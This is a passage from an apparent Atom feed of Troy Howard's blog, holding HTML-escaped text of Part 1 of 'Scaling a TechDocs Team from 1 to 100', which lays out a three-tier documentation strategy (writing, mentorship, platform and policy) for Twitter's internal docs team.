a &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-3)/&#34;&gt;discussion between myself and my esteemed coworker&lt;/a&gt; Greg Poulos (&lt;a href=&#34;https://twitter.com/gregpoo&#34;&gt;@gregpoo&lt;/a&gt;). If you haven&#39;t already, you may want to check out &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-3)/&#34;&gt;Part 1: A Scalable Strategy for TechDocs&lt;/a&gt;.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Scaling a TechDocs Team from 1 to 100 (Part 1)</title>
		<id>https://blog.thoward37.me/articles/scaling-a-techdocs-team-from-1-to-100-%28part-1%29</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/scaling-a-techdocs-team-from-1-to-100-%28part-1%29" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/scaling-a-techdocs-team-from-1-to-100-%28part-1%29" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/scaling-a-techdocs-team-from-1-to-100-%28part-1%29" type="text/html"></link>
		<published>2018-01-08T00:00:00+00:00</published>
		<updated>2018-01-08T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;blockquote&gt;&#xA;&lt;p&gt;In companies that have large engineering teams, a dedicated technical documentation organization is a necessary function. Our industry&#39;s understanding of the role of documentation, both as engineers and technical writers, has shifted its focus over the last decade.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;- Troy Howard, &lt;a href=&#34;/articles/contemporary-techdocs/&#34;&gt;Contemporary TechDocs&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yeah, I just quoted myself. That&#39;s the least of my worries. My bigger concern is the incredible pile of work awaiting me every time I open my laptop. I long for the day when I finally get approval from upper management for the headcount to hire another documentarian. We could do &lt;strong&gt;&lt;em&gt;so much more&lt;/em&gt;&lt;/strong&gt; with just one or two more people.&lt;/p&gt;&#xA;&lt;p&gt;My boss sometimes asks* me, &amp;quot;I&#39;m not sure if we can get headcount, but it would help if you could tell me exactly what you&#39;d do with more people.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;** note to my pedantic readers, I realize that was a statement, not a question, but this is Manager Speak™, not normal English.*&lt;/p&gt;&#xA;&lt;p&gt;I suspect that many of my peers in the tech-comm world are in a similar situation. This series of articles intends to answer that once and for all. First, I&#39;ll &lt;a href=&#34;#-a-scalable-strategy-for-techdocs-&#34;&gt;describe the strategy&lt;/a&gt; that enables this kind of scaling, and then give some suggestions on how to &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-2)/&#34;&gt;grow a TechDocs team&lt;/a&gt; from your first documentarian to your hundredth. Finally, I&#39;ll &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-3)/&#34;&gt;discuss&lt;/a&gt; some deeper aspects of our experience trying to implement this at Twitter.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;a-scalable-strategy-for-techdocs&#34;&gt;&lt;strong&gt;A Scalable Strategy for TechDocs&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;p&gt;At the time of this writing, Twitter has ~1500 technical employees, but only two (2) full time tech writers. That is a ratio of 750:1. If we are going to have an impact, we&#39;re going to need a &lt;em&gt;scalable strategy&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Breaking that down a bit, our team of two is only responsible for &lt;em&gt;internal&lt;/em&gt; technical documentation (yeah, the public API docs you all know and love so well are handled by an entirely different crew). Our ~1500 engineers crank out code at a blinding rate. We have roughly 6000 software projects, all of which need to be documented. Currently only ~600 of them are. So how are the two of us going to get the other 5400 projects documented? How are we going to maintain the existing 600 documentation sites? Is it even possible to keep up with this?&lt;/p&gt;&#xA;&lt;p&gt;The answer is a resounding &lt;strong&gt;YES WE CAN&lt;/strong&gt; (&lt;em&gt;kind of&lt;/em&gt;).&lt;/p&gt;&#xA;&lt;p&gt;The key is to leverage those 1500 engineers to write their own docs. But this isn&#39;t an article about how we work at Twitter, or how to fight a losing battle and look fabulous while doing it. Rather, this is an article about how to operate an &lt;em&gt;effective&lt;/em&gt; TechDocs organization whether you&#39;re 1 person or 100 people, and regardless of how many engineers you are supporting.&lt;/p&gt;&#xA;&lt;p&gt;Our &lt;em&gt;scalable strategy&lt;/em&gt; is composed of three tiers: &lt;strong&gt;&lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt;&lt;/strong&gt;, &lt;strong&gt;Mentorship&lt;/strong&gt;, &lt;strong&gt;Platform and Policy&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt;&lt;/strong&gt; - TechDocs creates and maintains high-impact content. They also design and maintain large scale Information Architectures (IA).&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Capacity/Scale (per person)&lt;/strong&gt;: 1-2 projects per quarter&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mentorship&lt;/strong&gt; - TechDocs cultivates a product-oriented &lt;em&gt;engineering culture&lt;/em&gt; that values documentation as one of the many deliverables required for a complete product. TechDocs operates as a service agency, providing 1:1 mentorship, editorial services, and prescriptive guidance to engineering teams.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Capacity/Scale (per person)&lt;/strong&gt;: 4-6 team engagements per quarter&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Platform and Policy&lt;/strong&gt; - TechDocs provides policy, guidance, and automation tools for all engineers. The tools provided are first-class tools which engineers interact with directly to create and consume docs. These self-serve tools and materials create a platform to improve Information Experience (IX) and raise baseline content quality by enabling engineers to produce better docs on their own.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Capacity/Scale (per person)&lt;/strong&gt;: 1-2 major tool features or policy/guidance documents per quarter&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Here&#39;s a fancy diagram to describe it (see below for the more-than-1000 words to explain):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        -       /\&#xA;        |      /__\      #WriteTheDocs (6 projects a year, ~1% of customers)&#xA;Quality |     /    \     &#xA;        |    /______\    Mentorship (22 projects a year, ~5% of customers)&#xA;        |   /        \  &#xA;        _  /__________\  Policy and Platform (self-serve, 100% of customers)&#xA;          &#xA;          |- Quantity -|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2 id=&#34;writethedocs&#34;&gt;&lt;strong&gt;&lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt;&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;TechDocs creates and maintains high-impact content. They also design and maintain large scale Information Architectures (IA).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Mission-critical technologies require the highest possible quality of writing. Since these systems directly affect the daily life of every engineer, your TechDocs team should treat them as a top priority. In such cases, it makes sense to put your best writers on the project and ask them to just &lt;a href=&#34;https://twitter.com/search?q=%23writethedocs&#34;&gt;&lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This process looks like a typical industry tech-writing process. TechDocs first interviews potential documentation consumers as well as &lt;em&gt;subject matter experts&lt;/em&gt; (SMEs), then writes and maintains the content themselves.&lt;/p&gt;&#xA;&lt;p&gt;This tier emphasizes &lt;em&gt;quality over quantity&lt;/em&gt; because the high quality docs will have a large overall &lt;em&gt;impact&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;A single documentarian should be able to complete &lt;strong&gt;1-2 major writing projects per quarter&lt;/strong&gt;, or up to &lt;strong&gt;6 projects per year&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;mentorship&#34;&gt;&lt;strong&gt;Mentorship&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;TechDocs cultivates a product-oriented &lt;em&gt;engineering culture&lt;/em&gt; that values documentation as one of the deliverables required for a complete product. At this tier TechDocs operates as a service agency, providing 1:1 mentorship, editorial services, and prescriptive guidance about docs to engineering teams.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Look, we know what makes engineering teams successful: a &lt;strong&gt;product culture&lt;/strong&gt;. What do we mean by that? We mean that they are focused on creating a &lt;em&gt;complete product&lt;/em&gt; that will deliver &lt;em&gt;customer value&lt;/em&gt;, rather than just cranking out code, committing to git, declaring themselves &amp;quot;Done!&amp;quot;, as they walk off victorious into the sunset.&lt;/p&gt;&#xA;&lt;p&gt;When teams think about their work as a product for a customer, they realize that there&#39;s more to a product than just code. Teams that have a product culture recognize the importance of things like unit tests, excellent UX, technical support, release cycles, and that vital linchpin that holds them all together: documentation.&lt;/p&gt;&#xA;&lt;p&gt;The goal of TechDocs at this tier is to &lt;strong&gt;mentor engineer teams&lt;/strong&gt; with the intent of cultivating a stronger product culture. Sometimes your TechDocs team will talk about culture directly, but often you&#39;ll just serve in an editorial or advisory role. When you have our &lt;em&gt;mentorship hat&lt;/em&gt; on, you&#39;ll field inbound requests from teams for help. You don&#39;t write the docs for them, but you will help them to write them. This kind of direct engagement with a team still takes a lot of effort and time. When the ratio of documentarians to engineers is high, you won&#39;t be able to mentor every single engineer, or even every team.&lt;/p&gt;&#xA;&lt;p&gt;Mentorship is reserved for projects that will impact a large number of engineers. TechDocs should look to support teams that create and maintain engineering platform tools like continuous integration (CI), storage, data science, etc. Teams that service other teams have a force-magnifying effect. The effort that is put into those teams will result in other teams becoming more effective, and others will look to them as role models for team culture.&lt;/p&gt;&#xA;&lt;p&gt;This tier values &lt;em&gt;quality and quantity equally&lt;/em&gt;, attempting to achieve a balance between both.&lt;/p&gt;&#xA;&lt;p&gt;A single documentarian should be able to complete &lt;strong&gt;4-6 team engagements per quarter&lt;/strong&gt;, or up to &lt;strong&gt;24 engagements per year&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;engaging-with-engineering-teams&#34;&gt;&lt;strong&gt;Engaging with Engineering Teams&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;When you engage with a team, you will &lt;em&gt;evaluate&lt;/em&gt; team culture, &lt;em&gt;review&lt;/em&gt; their existing docs, establish measurable &lt;em&gt;success criteria&lt;/em&gt; (so that you can talk ROI with real numbers), and then make a specific &lt;em&gt;list of tasks&lt;/em&gt; to fix up the docs. Team engagements like this are limited to only two (2) weeks.&lt;/p&gt;&#xA;&lt;h4 id=&#34;assigning-a-documentation-dri&#34;&gt;&lt;strong&gt;Assigning a Documentation DRI&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;One of the first steps in addressing team culture is to identify (or appoint) a &lt;em&gt;Directly Responsible Individual (DRI)&lt;/em&gt; for documentation. The goal is to leave the team with an &lt;strong&gt;independent and sustainable process for creating and maintaining docs&lt;/strong&gt;. The &lt;em&gt;Docs DRI&lt;/em&gt; will be your point-person, acting as the primary documentation advocate on the team, and as a watchdog who makes sure that doc development continues to happen after the TechDocs mentor moves on to the next thing. After the &lt;em&gt;docs review&lt;/em&gt;, give the team&#39;s Docs DRI a list of doc-improvement tasks.&lt;/p&gt;&#xA;&lt;h4 id=&#34;put-a-number-on-it&#34;&gt;&lt;strong&gt;Put A Number On It&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;The next step is to establish success metrics. I like to call this process &amp;quot;&lt;strong&gt;Put A Number On It&lt;/strong&gt;&amp;quot;. Working together with the &lt;em&gt;Docs DRI&lt;/em&gt;, determine a set of success metrics that makes sense for their product and a figure out a process for measuring those metrics (e.g. performing stakeholder surveys or customer usage studies). Before work starts, measure the baseline for that metric. At the end of the engagement, measure the same thing again to quantify the improvements. When you need to prove the &lt;strong&gt;value of working on docs&lt;/strong&gt; and are asked &amp;quot;What is the Return On Investment (ROI) for this?&amp;quot;, you can use these numbers to show how much &lt;em&gt;improvement&lt;/em&gt; came from your work, comparing that to how much &lt;em&gt;effort&lt;/em&gt; was put in. This almost always works out for the best and creates a compelling story for future investments in documentation.&lt;/p&gt;&#xA;&lt;h4 id=&#34;wrapping-it-up&#34;&gt;&lt;strong&gt;Wrapping It Up&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;After two (2) weeks it&#39;s time to wrap it up and walk away. During the next month or two, the engineering team takes ownership of the remaining tasks, but the TechDocs mentor will serve as a project manager, making sure the project keeps going and stays on course. You might file tickets in an issue tracker, or send out nagging emails, or stand outside their house wearing a banana-suit. Whatever it takes to get their attention.&lt;/p&gt;&#xA;&lt;h4 id=&#34;option-embedding-on-a-team&#34;&gt;&lt;strong&gt;Option: Embedding on a Team&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;Some high-impact teams may need a more intensive engagement. In those cases you might need to &lt;em&gt;embed&lt;/em&gt; on the team for up to a month. When embedding, you act as a member of the team. Defer any other work that is not related to the team, go to all their planning meetings, sit with them in their area of the office, and generally attempt to operate in exactly the same manner as any other permanent member of the team. This is the the most effective and direct way to change a team&#39;s culture.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Note: This differs from work in the &lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt; tier, because while you may end up writing some docs, your goal is not to produce docs, but rather to impact the culture of the team. You may need to write docs to kick-start that culture, and to provide a good example, but that&#39;s not the main purpose of your presence there.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;doc-days-company-wide-mentorship-events&#34;&gt;&lt;strong&gt;Doc Days: Company-Wide Mentorship Events&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;Another activity that falls under this tier are &lt;strong&gt;Doc Days&lt;/strong&gt;, which are day-long documentation mentorship events that any engineer can attend. Read more about Doc Days here: &lt;a href=&#34;#&#34;&gt;How To Run a Doc Day&lt;/a&gt; (&lt;em&gt;coming soon&lt;/em&gt;!)&lt;/p&gt;&#xA;&lt;h2 id=&#34;platform-and-policy&#34;&gt;&lt;strong&gt;Platform and Policy&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;TechDocs provides policy, guidance, and automation tools for all engineers. The tools provided are first-class tools which engineers interact with directly to create and consume docs. These self-serve tools and materials create a platform to improve Information Experience (IX) and raise baseline content quality by enabling engineers to produce better docs on their own.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Not every project or team needs hands-on attention from your TechDocs team. Sometimes they just need a little guidance and tooling -- metaphorical signposts and guard rails -- to help them do a better job of writing docs on their own. A TechDocs team can (and should) build a platform composed of policies, best practices, templates, and automation tools that engineers can use on their own without help from TechDocs.&lt;/p&gt;&#xA;&lt;p&gt;This tier values &lt;em&gt;quantity over quality&lt;/em&gt;, to have a &lt;em&gt;wide impact&lt;/em&gt; and indirectly &lt;em&gt;raise the quality floor&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;A single documentarian should be able to complete &lt;strong&gt;1-2 major improvements to the platform per quarter&lt;/strong&gt;, or up to &lt;strong&gt;6 platform improvements per year&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;policy&#34;&gt;&lt;strong&gt;Policy&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;The first thing you should do when building a platform is &lt;em&gt;establish clear policies&lt;/em&gt;. Policies enforce basic requirements, &lt;strong&gt;&lt;em&gt;reduce ambiguity&lt;/em&gt;&lt;/strong&gt;, and &lt;strong&gt;&lt;em&gt;facilitate easy decision making&lt;/em&gt;&lt;/strong&gt;. The kinds of policy we&#39;re talking about here are things like a company-wide &lt;em&gt;Documentation Style Guide&lt;/em&gt;, direction on &lt;strong&gt;&lt;em&gt;which tools to use&lt;/em&gt;&lt;/strong&gt;, and standards about how &lt;strong&gt;&lt;em&gt;documentation should be prioritized&lt;/em&gt;&lt;/strong&gt; within engineering teams.&lt;/p&gt;&#xA;&lt;h3 id=&#34;guidance&#34;&gt;&lt;strong&gt;Guidance&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;The next thing to do is to &lt;em&gt;provide some guidance&lt;/em&gt;. Guidance involves prescriptive docs about writing like &amp;quot;&lt;a href=&#34;#&#34;&gt;How to Write an Outline&lt;/a&gt;&amp;quot; (&lt;em&gt;coming soon!&lt;/em&gt;), as well as descriptions of processes for &lt;em&gt;maintaining and testing documentation&lt;/em&gt; and of preferred &lt;em&gt;team culture&lt;/em&gt;. Another great form of guidance is a corpus of &lt;strong&gt;&lt;em&gt;documentation templates&lt;/em&gt;&lt;/strong&gt; that engineers can work from. The ultimate goal of these resources is to &lt;strong&gt;&lt;em&gt;improve consistency and facilitate action&lt;/em&gt;&lt;/strong&gt;, by removing the barriers to creating good quality documentation.&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools&#34;&gt;&lt;strong&gt;Tools&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;Last but not least are &lt;em&gt;hands-on tools that engineers use&lt;/em&gt; to read and write docs. This can be as simple as &lt;em&gt;setting up a wiki or knowledge base&lt;/em&gt; for the company, to custom-made &lt;em&gt;documentation generation systems&lt;/em&gt; which automatically build and publish docs from a source code repository. Tools &lt;em&gt;raise the quality floor&lt;/em&gt;, &lt;em&gt;automate complicated workflows&lt;/em&gt;, facilitate &lt;em&gt;information discovery&lt;/em&gt;, and help to &lt;em&gt;maintain awareness&lt;/em&gt; of documentation health over time.&lt;/p&gt;&#xA;&lt;p&gt;Tools can be used to automate/improve:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Publishing&lt;/strong&gt;: Improve consistency, ease discovery, and align with culture&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Consistency&lt;/strong&gt;: All the pages look the same, due to a common theme and unified project list&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Discovery&lt;/strong&gt;: All project docs are in the same tool, with well-structured IA and search capabilities&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Culture&lt;/strong&gt;: Use git on the command-line, ease collaboration, reinforce company identity, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Linting (structural analysis)&lt;/strong&gt;: Improves consistency by detecting obvious defects like:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Spelling and grammar errors&lt;/li&gt;&#xA;&lt;li&gt;Missing content&lt;/li&gt;&#xA;&lt;li&gt;Privileged or inappropriate content&lt;/li&gt;&#xA;&lt;li&gt;Non-optimal reading level, reading length, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Search&lt;/strong&gt;: discovery&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Health and Awareness&lt;/strong&gt;: Improves culture-of-docs via:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Notifications&lt;/strong&gt;: Reminders for doc owners to encourage on-going maintenance&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Reader Trust&lt;/strong&gt;: Healthy, Verified, or Highly-rated docs are obviously marked&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Author Pride&lt;/strong&gt;: Report on readership traffic, quality metrics, user sentiment, etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Increased Awareness&lt;/strong&gt;: A central location for docs encourages &amp;quot;sideways discovery&amp;quot; of other docs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Templates&lt;/strong&gt;: Improves consistency and quality by providing a fill-in-the blank experience&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Metrics&lt;/strong&gt;: Easily generate reports about a single project, or all projects to understand the overall condition of the documentation. Good metrics make it a lot easier to plan and discuss work at the managerial level.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;next-step-growing-your-team&#34;&gt;Next Step: Growing Your Team&lt;/h2&gt;&#xA;&lt;p&gt;Now that we&#39;ve described our scalable strategy, the next part of this article will walk you through &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-2)/&#34;&gt;How to Grow a TechDocs Team&lt;/a&gt;, from your first documentarian to your hundredth.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;blockquote&gt;&#xA;&lt;p&gt;In companies that have large engineering teams, a dedicated technical documentation organization is a necessary function. Our industry&#39;s understanding of the role of documentation, both as engineers and technical writers, has shifted its focus over the last decade.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;- Troy Howard, &lt;a href=&#34;/articles/contemporary-techdocs/&#34;&gt;Contemporary TechDocs&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yeah, I just quoted myself. That&#39;s the least of my worries. My bigger concern is the incredible pile of work awaiting me every time I open my laptop. I long for the day when I finally get approval from upper management for the headcount to hire another documentarian. We could do &lt;strong&gt;&lt;em&gt;so much more&lt;/em&gt;&lt;/strong&gt; with just one or two more people.&lt;/p&gt;&#xA;&lt;p&gt;My boss sometimes asks* me, &amp;quot;I&#39;m not sure if we can get headcount, but it would help if you could tell me exactly what you&#39;d do with more people.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;** note to my pedantic readers, I realize that was a statement, not a question, but this is Manager Speak™, not normal English.*&lt;/p&gt;&#xA;&lt;p&gt;I suspect that many of my peers in the tech-comm world are in a similar situation. This series of articles intends to answer that once and for all. First, I&#39;ll &lt;a href=&#34;#-a-scalable-strategy-for-techdocs-&#34;&gt;describe the strategy&lt;/a&gt; that enables this kind of scaling, and then give some suggestions on how to &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-2)/&#34;&gt;grow a TechDocs team&lt;/a&gt; from your first documentarian to your hundredth. Finally, I&#39;ll &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-3)/&#34;&gt;discuss&lt;/a&gt; some deeper aspects of our experience trying to implement this at Twitter.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;a-scalable-strategy-for-techdocs&#34;&gt;&lt;strong&gt;A Scalable Strategy for TechDocs&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;p&gt;At the time of this writing, Twitter has ~1500 technical employees, but only two (2) full time tech writers. That is a ratio of 750:1. If we are going to have an impact, we&#39;re going to need a &lt;em&gt;scalable strategy&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Breaking that down a bit, our team of two is only responsible for &lt;em&gt;internal&lt;/em&gt; technical documentation (yeah, the public API docs you all know and love so well are handled by an entirely different crew). Our ~1500 engineers crank out code at a blinding rate. We have roughly 6000 software projects, all of which need to be documented. Currently only ~600 of them are. So how are the two of us going to get the other 5400 projects documented? How are we going to maintain the existing 600 documentation sites? Is it even possible to keep up with this?&lt;/p&gt;&#xA;&lt;p&gt;The answer is a resounding &lt;strong&gt;YES WE CAN&lt;/strong&gt; (&lt;em&gt;kind of&lt;/em&gt;).&lt;/p&gt;&#xA;&lt;p&gt;The key is to leverage those 1500 engineers to write their own docs. But this isn&#39;t an article about how we work at Twitter, or how to fight a losing battle and look fabulous while doing it. Rather, this is an article about how to operate an &lt;em&gt;effective&lt;/em&gt; TechDocs organization whether you&#39;re 1 person or 100 people, and regardless of how many engineers you are supporting.&lt;/p&gt;&#xA;&lt;p&gt;Our &lt;em&gt;scalable strategy&lt;/em&gt; is composed of three tiers: &lt;strong&gt;&lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt;&lt;/strong&gt;, &lt;strong&gt;Mentorship&lt;/strong&gt;, &lt;strong&gt;Platform and Policy&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt;&lt;/strong&gt; - TechDocs creates and maintains high-impact content. They also design and maintain large scale Information Architectures (IA).&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Capacity/Scale (per person)&lt;/strong&gt;: 1-2 projects per quarter&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mentorship&lt;/strong&gt; - TechDocs cultivates a product-oriented &lt;em&gt;engineering culture&lt;/em&gt; that values documentation as one of the many deliverables required for a complete product. TechDocs operates as a service agency, providing 1:1 mentorship, editorial services, and prescriptive guidance to engineering teams.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Capacity/Scale (per person)&lt;/strong&gt;: 4-6 team engagements per quarter&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Platform and Policy&lt;/strong&gt; - TechDocs provides policy, guidance, and automation tools for all engineers. The tools provided are first-class tools which engineers interact with directly to create and consume docs. These self-serve tools and materials create a platform to improve Information Experience (IX) and raise baseline content quality by enabling engineers to produce better docs on their own.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Capacity/Scale (per person)&lt;/strong&gt;: 1-2 major tool features or policy/guidance documents per quarter&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Here&#39;s a fancy diagram to describe it (see below for the more-than-1000 words to explain):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        -       /\&#xA;        |      /__\      #WriteTheDocs (6 projects a year, ~1% of customers)&#xA;Quality |     /    \     &#xA;        |    /______\    Mentorship (22 projects a year, ~5% of customers)&#xA;        |   /        \  &#xA;        _  /__________\  Policy and Platform (self-serve, 100% of customers)&#xA;          &#xA;          |- Quantity -|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2 id=&#34;writethedocs&#34;&gt;&lt;strong&gt;&lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt;&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;TechDocs creates and maintains high-impact content. They also design and maintain large scale Information Architectures (IA).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Mission-critical technologies require the highest possible quality of writing. Since these systems directly affect the daily life of every engineer, your TechDocs team should treat them as a top priority. In such cases, it makes sense to put your best writers on the project and ask them to just &lt;a href=&#34;https://twitter.com/search?q=%23writethedocs&#34;&gt;&lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This process looks like a typical industry tech-writing process. TechDocs first interviews potential documentation consumers as well as &lt;em&gt;subject matter experts&lt;/em&gt; (SMEs), then writes and maintains the content themselves.&lt;/p&gt;&#xA;&lt;p&gt;This tier emphasizes &lt;em&gt;quality over quantity&lt;/em&gt; because the high quality docs will have a large overall &lt;em&gt;impact&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;A single documentarian should be able to complete &lt;strong&gt;1-2 major writing projects per quarter&lt;/strong&gt;, or up to &lt;strong&gt;6 projects per year&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;mentorship&#34;&gt;&lt;strong&gt;Mentorship&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;TechDocs cultivates a product-oriented &lt;em&gt;engineering culture&lt;/em&gt; that values documentation as one of the deliverables required for a complete product. At this tier TechDocs operates as a service agency, providing 1:1 mentorship, editorial services, and prescriptive guidance about docs to engineering teams.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Look, we know what makes engineering teams successful: a &lt;strong&gt;product culture&lt;/strong&gt;. What do we mean by that? We mean that they are focused on creating a &lt;em&gt;complete product&lt;/em&gt; that will deliver &lt;em&gt;customer value&lt;/em&gt;, rather than just cranking out code, committing to git, declaring themselves &amp;quot;Done!&amp;quot;, as they walk off victorious into the sunset.&lt;/p&gt;&#xA;&lt;p&gt;When teams think about their work as a product for a customer, they realize that there&#39;s more to a product than just code. Teams that have a product culture recognize the importance of things like unit tests, excellent UX, technical support, release cycles, and that vital linchpin that holds them all together: documentation.&lt;/p&gt;&#xA;&lt;p&gt;The goal of TechDocs at this tier is to &lt;strong&gt;mentor engineer teams&lt;/strong&gt; with the intent of cultivating a stronger product culture. Sometimes your TechDocs team will talk about culture directly, but often you&#39;ll just serve in an editorial or advisory role. When you have our &lt;em&gt;mentorship 